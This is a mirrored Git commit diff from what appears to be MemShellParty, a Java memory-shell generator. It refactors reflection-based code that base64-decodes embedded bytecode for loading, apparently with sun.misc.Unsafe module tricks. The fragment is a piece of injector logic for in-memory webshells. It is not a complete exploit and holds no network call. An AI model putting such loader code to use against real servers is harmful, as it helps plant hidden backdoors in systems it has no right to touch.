mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
refactor: simplify base64 and getFieldValue method
This commit is contained in:
@@ -7,12 +7,11 @@
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException e) {
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Object unsafe = null;
|
||||
Object rawModule = null;
|
||||
|
||||
Reference in New Issue
Block a user